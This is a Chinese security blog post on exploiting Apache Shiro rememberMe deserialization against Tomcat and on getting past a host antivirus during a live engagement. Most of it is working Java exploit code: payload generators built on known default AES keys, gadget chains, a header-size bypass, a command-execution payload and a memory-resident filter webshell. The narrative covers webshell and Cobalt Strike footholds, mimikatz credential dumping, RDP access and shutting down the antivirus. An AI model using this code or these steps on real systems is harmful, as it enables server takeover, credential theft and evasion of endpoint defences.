shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

admin 2022年7月18日04:23:07评论306 views字数 27479阅读91分35秒阅读模式

之前有段时间,被shiro困扰的反序列化原理困扰住了,在后面看了很多师傅的文章,大致能复现下最原始的shiro反序列化攻击回显方式;也碰到了有一个某杀软的shiro反序列化,执行不了命令,这里简单记录下。

0x1 生成、解密rememberMe,攻击shiro

0x01 搭建shiro环境,使用工具生成rememberMe攻击shiro

先搭建个环境,这里不再赘述了,然后扒下来rememberMe参数,使用shiro_attack工具利用(响应包中$中间的即为命令执行的base64后的结果)

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

0x02 解密rememberMe

想看到rememberMe里的代码到底是什么样的,使用shiro解密工具:(笔者简单的改进了一下水泡泡师傅的工具,整合到poc2jar里了,水泡泡师傅nb!) https://github.com/r00tuser111/SerializationDumper-Shiro

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

代码解密出来为bytecodes.class,拖到idea查看

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例基本就是这样,获取headers里的c参数base64解密,然后执行该参数的命令

0x03 通过解密的class逆回去生成rememberMe

把class里的代码复制出来变成java格式的,命名为Test,使用以下代码获取rememberMe参数

Exp.java
package org.sec;

import java.net.InetSocketAddress;
import java.net.Proxy;
import okhttp3.*;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;

import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Exp {

    public static void main(String[] args) {

        try {
            SimplePrincipalCollection sc = new SimplePrincipalCollection();
            byte[] scBytes = Payload.serialize(sc);
            byte[] keyBytes = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

            CipherService cipherService = new AesCipherService();
            ByteSource byteSource = cipherService.encrypt(scBytes, keyBytes);
            byte[] value = byteSource.getBytes();
            String checkKeyCookie = "rememberMe=" + Base64.encodeToString(value);

            Object loaderObj = Payload.getPayload("Test");
            byte[] loaderBytes = Payload.serialize(loaderObj);
            ByteSource loaderSource = cipherService.encrypt(loaderBytes, keyBytes);
            byte[] loaderValue = loaderSource.getBytes();
            String loaderCookie = "rememberMe=" + Base64.encodeToString(loaderValue);
            System.out.println(loaderCookie); // 输出rememberMe参数
            System.out.println("payload length: " + loaderCookie.length());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里还需要一个Payload.java文件(CommonsCollections11利用),放到后面的附件了

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

获取到了rememberMe参数,看到长度为8651(这里是个小坑点,由于长度问题,是超过了tomcat默认限制长度的,后面说)

rememberMe放到请求包里:

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例直接报错400,去看tomcat日志

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

很明显,是请求头过大导致400的报错

0x04 突破请求头限制

可以直接去修改默认的tomcat请求限制/conf/server.xml里

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例maxHttpHeaderSize="40960"这样就可以在本地请求超过长度的rememberMe不受限制,但是实战碰到的基本都是默认状态下的长度,所以看后面

突破请求头长度限制

TomcatHeaderSize.java
package org.sec;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {

    static {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                            // org.apache.coyote.AbstractProtocol$ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                    // 10000 为修改后的 headersize
                                    headerSizeField.set(tempRequest.getInputBuffer(),100000);
                                }
                            }
                        }
                        // 10000 为修改后的 headersize
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(100000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

还是Exp.java代码,进行一个修改

Object loaderObj = Payload.getPayload("Test");

改为

Object loaderObj = Payload.getPayload("TomcatHeaderSize");

继续获取rememberMe参数

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例长度为7243(默认限制长度是8192) 放到请求里

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例这一步是为了突破tomcat的请求头限制,修改请求头的默认长度 再将刚刚8651的rememberMe进行请求:

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例d2hvYW1p为whoami的base64编码版

响应里是命令回显的base64编码版

0x05 其他利用链的shiro环境

这里还遇到了一个CommonsBeanutils1_192的shiro环境,主要区分开利用链的代码

Exp2.java
package org.sec;

import javassist.NotFoundException;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javassist.ClassPool;
import javassist.CtClass;


public class Exp2 {

    public static void main(String[] args) throws NotFoundException {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(org.sec.FooOYZFjMVJc3.class.getName());
        byte[] payloads = new byte[0];
        try {
            // CommonsBeanutils1Shirotest 为CommonsBeanutils1 192生成payload,测试成功
            payloads = new CommonsBeanutils1Shirotest().getPayload(clazz.toBytecode());
        } catch (Exception e) {
            e.printStackTrace();
        }

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("4AvVhmFLUs0KTA3Kprsdag==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

以下代码来自于 https://github.com/SummerSec/ShiroAttack2

CommonsBeanutils1Shirotest.java
package org.sec;

import com.summersec.attack.deser.util.StandardExecutorClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;

// CommonsBeanutils1 192版本的 的payload生成

public class CommonsBeanutils1Shirotest {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes"new byte[][]{clazzBytes});
        setFieldValue(obj, "_name""HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());

        StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2");
        Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator");
        Object comparator = u.getDeclaredConstructor(String.class).newInstance("lowestSetBit");
        final PriorityQueue<Object> queue = new PriorityQueue(2, (Comparator<? super Object>)comparator);
        // stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        setFieldValue(comparator, "property""outputProperties");
        setFieldValue(queue, "queue"new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}

这里要把pom.xml的commons-beanutils调成1.9.2版本,否则会失败

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例运行Exp2.java

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

即可成功

0x2 当shiro遇到某管家防护

可能有很多人问,像上文那样复现有什么意义,事实上,当我们研究了漏洞具体怎么去复现的,就可以在一定情况下去绕过防护了,所以写一下这个案例

0x01 背景

遇到同事发来一个shiro,说是执行了一次命令,后面就执行不了了,然后用工具注入了内存马,但是内存马也执行不了命令

0x02 遇到限制

拿到后,我一开始认为是工具问题,我拿了工具跑shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

和同事说的一模一样,我寻思还是工具问题,所以我拿xray跑了一下,不出意外,跑出来了key和gadget

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

那不就有了?我直接testcmd不就执行命令了?我冷笑一声

不出意外的话,出意外了

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

直接不行,别说执行命令了,连复现xray的请求包也不行 响应特别慢,以至于没有状态码 再扫一次呢,没了……

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

牛逼!机器学习人工智能WAF???

0x03 尝试绕过

后面我以为是payload的原因,试了4ra1n大佬的shortpayload,试了增加一些无意义的字符,也不行

错误的key同样的利用链不拦截,我又改了正确的key进行尝试,发现还不行,猜测可能是主机防护hook了cmd.exe

同事之前直接注入了一个哥斯拉内存马,没有直接执行命令

哥斯拉链接界面如下:

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

后面我觉得可以通过不同webshell管理工具来,所以让传了个冰蝎,尝试了冰蝎代码,歇逼,代理挂不上,然后看到了cs模块,那我直接cs上线呢

冰蝎cs上线

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

上线成功!

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

但是还是执行不了命令 一执行命令就丢失了会话

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

0x04 更换思路

后面尝试mimikatz读取密码(cs是采用反射dll来加载pe程序,从而在执行一些敏感操作的时候能起到一定的bypass作用,例如mimikatz抓密码等操作。)

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

成功了!

然后再次执行命令

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

还是和之前一样丢失了会话

后面17:47的时候,突然systeminfo成功了!

后面再去执行whoami、net user又可以了,说明不拦截了,但是shiro还是不行

换个思路,我们现在有密码了,直接去连他的3389 直接查端口

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

直接连60089端口,能连上,直接有一个调用cmd的弹窗,图找不到了,凑合一下

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

翻了一下,看到了这个……

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

后面退出杀软,执行命令什么都是正常的了

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

0x05 思考

  1. 再简单发散一下,如果后面命令还是执行不了怎么办? 当时测试cs代理是可以的(但是冰蝎不可以,不知道为啥)
shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

也可以正常挂上代理,那么就可以挂上代理以后,扫当前主机的内网ip端口,从而找到rdp端口进行登录

  1. 基于杀软对cmd.exe拦截的规则,可以怎么绕过? 直接解密rememberMe的参数
shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

将源码复制为Test.java,这里可能要实现两个接口

@Override  
public void transform(DOM document, SerializationHandler[] handlers) {  
  
}  
  
@Override  
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)  {  
  
}

修改cmd.exec:/windows/system32/tasklist,进行编码

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例达到不调用cmd.exe的目的

Exp.java
package org.sec;

import java.net.InetSocketAddress;
import java.net.Proxy;
import javax.crypto.Cipher;
import okhttp3.*;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.OperationMode;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;

import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;


public class Exp {

    public static void main(String[] args) {
        try {
            SimplePrincipalCollection sc = new SimplePrincipalCollection();
            byte[] scBytes = Payload.serialize(sc);
            byte[] keyBytes = Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");

            CipherService cipherService = new AesCipherService();

            Object loaderObj = Payload.getPayload("Test"); //这里为定义的文件名,这里是Test.java,注意大小写
            byte[] loaderBytes = Payload.serialize(loaderObj);

            ByteSource loaderSource = cipherService.encrypt(loaderBytes, keyBytes);
            byte[] loaderValue = loaderSource.getBytes();
            String loaderCookie = "rememberMe=" + Base64.encodeToString(loaderValue);
            System.out.println(loaderCookie); // 输出rememberMe参数
            System.out.println("payload length: " + loaderCookie.length());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Test.java完整代码如下:

Test.java
package org.sec;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import java.lang.reflect.Field;  
import java.util.List;  
import java.util.Scanner;  
  
public class Test extends AbstractTranslet {  
  
    private static void writeBody(Object var0, byte[] var1) throws Exception {  
        Object var2;  
        Class var3;  
        try {  
            var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");  
            var2 = var3.newInstance();  
            var3.getDeclaredMethod("setBytes"new Class[]{byte[].classInteger.TYPEInteger.TYPE}).invoke(var2new Object[]{var1, new Integer(0), new Integer(var1.length)});  
            var0.getClass().getMethod("doWrite"new Class[]{var3}).invoke(var0, new Object[]{var2});  
        } catch (ClassNotFoundException var5) {  
        } catch (NoSuchMethodException var6) {  
        }  
    }  
    private static Object getFV(Object var0, String var1) throws Exception {  
        Field var2 = null;  
        Class var3 = var0.getClass();  
  
        while(var3 != Object.class{  
            try {  
                var2 = var3.getDeclaredField(var1);  
                break;            } catch (NoSuchFieldException var5) {  
                var3 = var3.getSuperclass();  
            }  
        }  
        if(var2 == null) {  
            throw new NoSuchFieldException(var1);  
        } else {  
            var2.setAccessible(true);  
            return var2.get(var0);  
        }  
    }  
    public Test() throws Exception {  
        boolean var4 = false;  
        Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");  
  
        for(int var6 = 0; var6 < var5.length; ++var6) {  
            Thread var7 = var5[var6];  
            if(var7 != null) {  
                String var3 = var7.getName();  
                if(!var3.contains("exec") && var3.contains("http")) {  
                    Object var1 = getFV(var7, "target");  
                    if(var1 instanceof Runnable) {  
                        try {  
                            var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");  
                        } catch (Exception var13) {  
                            continue;  
                        }  
  
                        List var9 = (List)getFV(var1, "processors");  
  
                        for(int var10 = 0; var10 < var9.size(); ++var10) {  
                            Object var11 = var9.get(var10);  
                            var1 = getFV(var11, "req");  
                            Object var2 = var1.getClass().getMethod("getResponse"new Class[0]).invoke(var1, new Object[0]);  
  
                            var3 = (String)var1.getClass().getMethod("getHeader"new Class[]{String.class}).invoke(var1new Object[]{"Testcmd"});  
                            if(var3 != null && !var3.isEmpty()) {  
                                var2.getClass().getMethod("setStatus"new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});  
                                String[] var12 = System.getProperty("os.name").toLowerCase().contains("window")?new String[]{"c:/windows/system32/tasklist.exe"}:new String[]{"/bin/sh""-c", var3};  
                                writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\A").next().getBytes());  
                                var4 = true;  
                            }  
  
                            if((var3 == null || var3.isEmpty()) && var4) {  
                                writeBody(var2, System.getProperties().toString().getBytes());  
                            }  
  
                        }  
                    }                }            }        }  
    }  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) {  
  
    }  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)  {  
  
    }}

这里还需要传入Testcmd请求头参数生成payload后,放到请求包里:

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

达到命令执行效果,调用非cmd.exepowershell.exe这些被杀软监控的进程即可

以下不重要

顺带一提,这里的CipherService cipherService = new AesCipherService();是shiro的加密,可以根据pom.xml的版本来进行改变,当shiro版本超过1.4.2的时候,加密方式就为GCM了

<dependency>  
    <groupId>org.apache.shiro</groupId>  
    <artifactId>shiro-core</artifactId>  
    <version>1.4.2</version>  
</dependency>

gcm生成payload

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

gcm解密成功

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

0x3 附件

Payload.java
package org.sec;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
// CommonsCollections11 的payload
public class Payload {
    public static Object getPayload(String name) {
        try {
            byte[] code = getBytesCode(name);
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates, "_bytecodes"new byte[][]{code});
            setFieldValue(templates, "_name""HelloTemplatesImpl");
            setFieldValue(templates, "_tfactory"new TransformerFactoryImpl());

            final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
            queue.add("1");
            queue.add("1");
            setFieldValue(comparator, "property""outputProperties");
            setFieldValue(queue, "queue"new Object[]{templates, templates});
            return queue;
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    public static void setFieldValue(Object object, String fieldName, Object value) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(object, value);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Object getFieldValue(Object object, String fieldName) {
        try {
            Field field = object.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            return field.get(object);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static byte[] serialize(Object o) {
        try {
            ByteArrayOutputStream aos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(aos);
            oos.writeObject(o);
            oos.flush();
            oos.close();
            return aos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    public static void deserialize(byte[] bytes) {
        try {
            ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(ais);
            ois.readObject();
            ois.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static byte[] getBytesCode(String name) {
        try {
            URI uri = Payload.class.getResource(name+".class").toURI();
            return Files.readAllBytes(Paths.get(uri));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }
}
TomcatMemShellInject.java
package org.sec;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

public class TomcatMemShellInject extends AbstractTranslet implements Filter{

    private final static String filterUrlPattern = "/*";
    private final static String filterName = "evilFilter";

    static {
        try {

            Class c = Class.forName("org.apache.catalina.core.StandardContext");

            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            ServletContext servletContext = standardContext.getServletContext();

            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            if (filterConfigs.get(filterName) == null){
                java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
                        .getDeclaredField("state")
;
                stateField.setAccessible(true);
                stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
                Filter MemShell = new TomcatMemShellInject();

                javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
                        .addFilter(filterName, MemShell);
                filterRegistration.setInitParameter("encoding""utf-8");
                filterRegistration.setAsyncSupported(false);
                filterRegistration
                        .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
                                new String[]{filterUrlPattern});

                if (stateField != null) {
                    stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
                }

                if (standardContext != null){
                    Method filterStartMethod = org.apache.catalina.core.StandardContext.class
                            .getMethod("filterStart")
;
                    filterStartMethod.setAccessible(true);
                    filterStartMethod.invoke(standardContext, null);

                    Class ccc = null;
                    try {
                        ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                    } catch (Throwable t){}
                    if (ccc == null) {
                        try {
                            ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
                        } catch (Throwable t){}
                    }


                    Method m = c.getMethod("findFilterMaps");
                    Object[] filterMaps = (Object[]) m.invoke(standardContext);
                    Object[] tmpFilterMaps = new Object[filterMaps.length];
                    int index = 1;
                    for (int i = 0; i < filterMaps.length; i++) {
                        Object o = filterMaps[i];
                        m = ccc.getMethod("getFilterName");
                        String name = (String) m.invoke(o);
                        if (name.equalsIgnoreCase(filterName)) {
                            tmpFilterMaps[0] = o;
                        } else {
                            tmpFilterMaps[index++] = filterMaps[i];
                        }
                    }
                    for (int i = 0; i < filterMaps.length; i++) {
                        filterMaps[i] = tmpFilterMaps[i];
                    }

                }
            }

        } catch (Exception e){
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        System.out.println("Do Filter ......");
        String cmd;
        String cmdParamName = "cmd";
        if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + 'n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {

    }
}

也可以通过突破header长度来进行注入TomcatMemShellInject.java 把cmd改成了cmd2,区分开

shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

0x4 参考链接

https://github.com/SummerSec/ShiroAttack2       [shiro攻击工具,不受限于rememberMe长度问题]

https://github.com/r00tuser111/SerializationDumper-Shiro   [rememberMe解密工具]

https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA

https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg

https://mp.weixin.qq.com/s?__biz=MzAwNzk0NTkxNw==&mid=2247484622&idx=1&sn=8ec625711dcf87f0b6abe67483f0534d&chksm=9b772f1cac00a60aa465a54bd00751c563f2125c78cc1bbca35c760236e4f67d00671de4496c&scene=21&sessionid=1599445076&key=acec999da27edd25eccc957924f4afa7028aec867e42231763ca219c4505e3d6435f346a8463866e7dc0c19a39a3e0600c538e7202ced833a90e6b7910c12b1859ceeaf33f7222bbee4c2acf2953d8dadf304092bebf5d852fbef62087d185eeae0dc9ee37dcd1e02065ea59869b19c78590fb273ffc696c8a9e08793220b82a&ascene=1&uin=NzUwNTE0NzE4&devicetype=Windows%2010%20x64&version=62090529&lang=zh_CN&exportkey=A/H1km1FzCFyhVMsg9e0Izc=&pass_ticket=q0CeoTXZ1bV6z466jICgYA%20yITdSiD5C8i/cAgax7OYgTP7U4OVpwP0Xt5Mdan2e&wx_header=0#wechat_redirect

http://wjlshare.com/archives/1545

https://paper.seebug.org/shiro-rememberme-1-2-4/

回复"shiro"至公众号,获取shiro环境以及生成rememberMe工具等。推荐本地试试。


原文始发于微信公众号(only security):shiro反序列化原生复现及shiro反序列化绕过主机杀软实例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月18日04:23:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   shiro反序列化原生复现及shiro反序列化绕过主机杀软实例https://cn-sec.com/archives/1182916.html

发表评论

匿名网友 填写信息